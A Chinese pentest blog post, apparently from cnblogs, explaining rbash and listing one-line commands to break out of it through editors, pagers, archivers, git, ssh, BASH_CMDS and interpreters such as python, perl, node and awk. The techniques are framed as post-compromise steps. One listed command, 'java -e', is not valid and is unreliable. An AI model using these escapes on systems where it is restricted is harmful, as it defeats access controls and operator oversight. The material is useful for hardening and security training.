rbash逃逸

何为rbash

rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的 restricted shell的一种,也是最常见的 restricted shell(rbash、ksh、rsh等)

rhash可能会设置一些限制:

  • 不能使用cd命令(即不能更改目录)
  • 不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
  • 导入功能受限
  • 命令中文件名中不能包含 '/ ' 或'-'
  • 不能使用使用 >,>|, <>, >&, &>, >> 等重定向操作符
  • 不能使用 unset 命令来取消环境变量或 shell 函数
  • 只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等
  • ......

rbash提高了安全性,但对我们getshell后的相关操作造成了很多限制(比如反弹shell)

启用rbash

首先创建用户:

sudo adduser tw

创建rbash软连接:

cd /bin
ln -s bash rbash

然后启用rbash:

sudo usermod -s /bin/rbash tw

rbash逃逸

本质是使用某种方法获取一个新的shell,下面提到的方法都有前提条件,比如命令/工具/语言要存在,或某个特殊符号未受限制(如/

1.利用常见应用/文件

使用Linux现有的软件,执行命令获取一个shell

vi编辑器

打开vi,在末行模式执行命令:

:set shell=/bin/bash
shell

即可实现逃逸

ed编辑器
ed
!/bin/bash
zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
more、less、man

用这三个命令查看任意文件,然后在末行中执行:

!'/bin/bash'
ftp
!'/bin/bash'
git
git help status 
!/bin/bash

2.利用编程语言

利用编程语言去执行系统命令来启动一个新的shell

python

获取一个新的终端或者bash shell:

python -c 'import pty; pty.spawn("/bin/bash");'

python -c 'import os; os.system("/bin/bash");'
perl
perl -e 'system("/bin/bash");'

除了 Python 和 Perl,还有其他编程语言可以用来尝试逃逸 rbash。以下是一些常见的编程语言及其相应的逃逸方法:

Ruby
ruby -e 'exec "/bin/bash"'
PHP
php -r 'system("/bin/bash");'
Lua
lua -e 'os.execute("/bin/bash")'
Tcl
tclsh
exec /bin/bash
Node.js (JavaScript)
node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});'
AWK
awk 'BEGIN {system("/bin/bash")}'
Java
java -e 'Runtime.getRuntime().exec("/bin/bash");'
expect
expect -c 'spawn /bin/bash; interact'

3.利用反弹shell

相关符号未被禁用,利用编程语言进行反弹shell即可,不作赘述

5.利用ssh

如果 RBASH 允许使用 ssh 命令,那么用户可以利用它的 -t 选项或 ProxyCommand 选项来执行 /bin/bash 或 /bin/sh:

ssh -t localhost /bin/bash
#可能会让你输密码哈哈哈哈

另外由于ssh版本的原因,可能会有命令上的区别,这里仅供参考

7.利用bash_cmds自定义shell

BASH_CMDS[a]=/bin/bash;a 

逃逸后的注意事项

有的获得新的rbash后,可能有些命令未引入环境变量,需要我们手动添加:

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
posted @ 2024-07-20 02:33  Yuy0ung  阅读(40)  评论(0编辑  收藏  举报